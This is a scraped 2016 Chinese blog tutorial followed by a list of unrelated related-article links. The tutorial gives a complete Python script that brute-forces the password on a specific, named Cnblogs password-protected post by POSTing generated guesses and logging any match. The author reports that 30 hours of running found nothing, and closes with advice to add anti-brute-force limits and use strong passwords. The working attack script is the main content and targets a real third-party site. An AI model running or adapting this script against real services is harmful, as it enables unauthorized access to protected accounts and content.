python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
使用简单工厂模式来进行Python的设计模式编程
Mar 01 Python
老生常谈Python序列化和反序列化
Jun 28 Python
Python实现的计算器功能示例
Apr 26 Python
用python实现将数组元素按从小到大的顺序排列方法
Jul 02 Python
python使用循环打印所有三位数水仙花数的实例
Nov 13 Python
python如何获取apk的packagename和activity
Jan 10 Python
Python threading.local代码实例及原理解析
Mar 16 Python
python利用platform模块获取系统信息
Oct 09 Python
python中的split、rsplit、splitlines用法说明
Oct 23 Python
python 实现波浪滤镜特效
Dec 02 Python
10张动图学会python循环与递归问题
Feb 06 Python
分析Python感知线程状态的解决方案之Event与信号量
Jun 16 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
重置版游戏视频
2020/04/09 魔兽争霸
Mac环境下php操作mysql数据库的方法分享
2015/05/11 PHP
实现WordPress主题侧边栏切换功能的PHP脚本详解
2015/12/14 PHP
PHP Try-catch 语句使用技巧
2016/02/28 PHP
PHP实现的简单sha1加密功能示例
2017/08/27 PHP
PHP单例模式实例分析【防继承,防克隆操作】
2019/05/22 PHP
Javascript操作URL函数修改版
2013/11/07 Javascript
jQuery级联操作绑定事件实例
2014/09/02 Javascript
JS表的模拟方法
2015/02/05 Javascript
JQuery实现左右滚动菜单特效
2015/09/28 Javascript
js随机生成26个大小写字母
2016/02/12 Javascript
jQuery xml字符串的解析、读取及查找方法
2016/03/01 Javascript
Angularjs手动解析表达式($parse)
2016/10/12 Javascript
jQuery 插件封装的方法
2016/11/16 Javascript
利用types增强vscode中js代码提示功能详解
2017/07/07 Javascript
JS中Attr的用法详解
2017/10/09 Javascript
jquery ajax异步提交表单数据的方法
2017/10/27 jQuery
JS实现将二维数组转为json格式字符串操作示例
2018/07/12 Javascript
微信小程序保持session会话的方法
2020/03/20 Javascript
vue通过接口直接下载java生成好的Excel表格案例
2020/10/26 Javascript
[01:51]2014DOTA2西雅图邀请赛 MVP 外卡赛black场间采访
2014/07/09 DOTA
Python实现的从右到左字符串替换方法示例
2018/07/06 Python
python 计算平均平方误差(MSE)的实例
2019/06/29 Python
python增加图像对比度的方法
2019/07/12 Python
python利用google翻译方法实例(翻译字幕文件)
2020/09/21 Python
HTML5实现可缩放时钟代码
2017/08/28 HTML / CSS
捷克家居装饰及图书音像购物网站:Velký košík
2018/04/16 全球购物
俄罗斯品牌服装和鞋子在线商店:BRIONITY
2020/03/26 全球购物
幼师专业毕业生自荐信
2013/09/29 职场文书
会议开场欢迎词
2014/01/15 职场文书
大学生期末自我鉴定
2014/02/01 职场文书
自强自立美德少年事迹材料
2014/08/16 职场文书
2015年终个人政治思想工作总结
2015/11/24 职场文书
Python入门之基础语法详解
2021/05/11 Python
详解PHP服务器如何在有限的资源里最大提升并发能力
2021/05/25 PHP
【海涛教你打DOTA】虚空假面第一视角骨弓3房29杀
2022/04/01 DOTA